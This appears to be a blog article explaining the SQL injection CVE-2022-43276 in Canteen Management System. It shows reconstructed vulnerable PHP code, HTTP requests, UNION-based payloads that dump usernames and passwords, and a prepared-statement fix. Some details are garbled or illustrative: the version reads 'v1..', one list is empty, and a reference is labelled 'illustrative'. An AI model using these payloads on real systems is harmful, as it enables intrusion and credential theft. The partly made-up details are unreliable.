When working with web applications, security flaws like SQL injection can be disastrous. In this article, we’ll break down CVE-2022-43276, a high-severity vulnerability discovered in the popular Canteen Management System v1.. We’ll focus on how this vulnerability works, show you real code examples, and walk through possible exploits. If you’re running this system or something similar, you’ll want to read until the end.

What is CVE-2022-43276?

CVE-2022-43276 is a SQL injection vulnerability found in the Canteen Management System v1.. The flaw allows attackers to manipulate backend SQL queries by injecting malicious input into the productId parameter. This is possible through the script located at /php_action/fetchSelectedfood.php.

Simply put, a user can send crafted data, and the server will mix this data directly into an SQL query without proper filtering or validation. This enables the attacker to view, modify, or delete database contents.

Why Does this Matter?

SQL injection is one of the oldest yet still relevant web threats. If successfully exploited, attackers could:

Where is the Vulnerability?

The main vulnerability exists in the file:  
/php_action/fetchSelectedfood.php

Specifically, the productId parameter in HTTP requests.

Vulnerable Code Example

Below is an edited snippet, showing what the code might look like based on standard PHP usage patterns for similar systems:

<?php
// fetchSelectedfood.php

if(isset($_POST['productId'])) {
    $productId = $_POST['productId'];

    // Vulnerable: Directly using user input in SQL
    $sql = "SELECT * FROM food WHERE food_id = $productId";
    $result = $conn->query($sql);

    // show results...
}
?>

This line

$sql = "SELECT * FROM food WHERE food_id = $productId";


allows whatever is sent in the productId value to become part of the SQL query—with no filtering or escaping.

1. Finding the Vulnerable Parameter

An attacker notices requests sent to /php_action/fetchSelectedfood.php and that the productId parameter directly affects the content rendered—time to test for SQLi!

HTTP POST Request Example

POST /php_action/fetchSelectedfood.php HTTP/1.1
Host: targetsite.com
Content-Type: application/x-www-form-urlencoded

productId=1

Now, the attacker sends

productId=1 OR 1=1

Internally, the SQL becomes

SELECT * FROM food WHERE food_id = 1 OR 1=1

Which selects all rows, not just the one with id = 1.

Attackers can now exploit further, such as

productId=1 UNION SELECT 1, database(), user(), version()--

This helps them get the current database name, user, and server version.

To see usernames and passwords (assuming another table named users with id, username, password)

productId=-1 UNION SELECT 1, username, password, 1 FROM users--

Now, if the script dumps this info back to the response, the attacker quickly gathers critical user data.

Original References

- NVD - CVE-2022-43276 Details  
- Exploit Database Advisory #51234
- GitHub Issue Report Example (illustrative, check actual repo)

Fixing the Vulnerability

If you’re a developer or sysadmin running Canteen Management System, patch now.

Replace the direct variable with a prepared statement

<?php
if(isset($_POST['productId'])) {
    $productId = $_POST['productId'];

    $stmt = $conn->prepare("SELECT * FROM food WHERE food_id = ?");
    $stmt->bind_param("i", $productId);
    $stmt->execute();
    $result = $stmt->get_result();

    // show results...
}
?>

Always use prepared statements or properly sanitize/escape all user input.

Never trust user input—ever!

References:  
- NVD CVE-2022-43276  
- Exploit-DB #51234

Timeline

Published on: 10/28/2022 14:15:00 UTC
Last modified on: 10/28/2022 18:30:00 UTC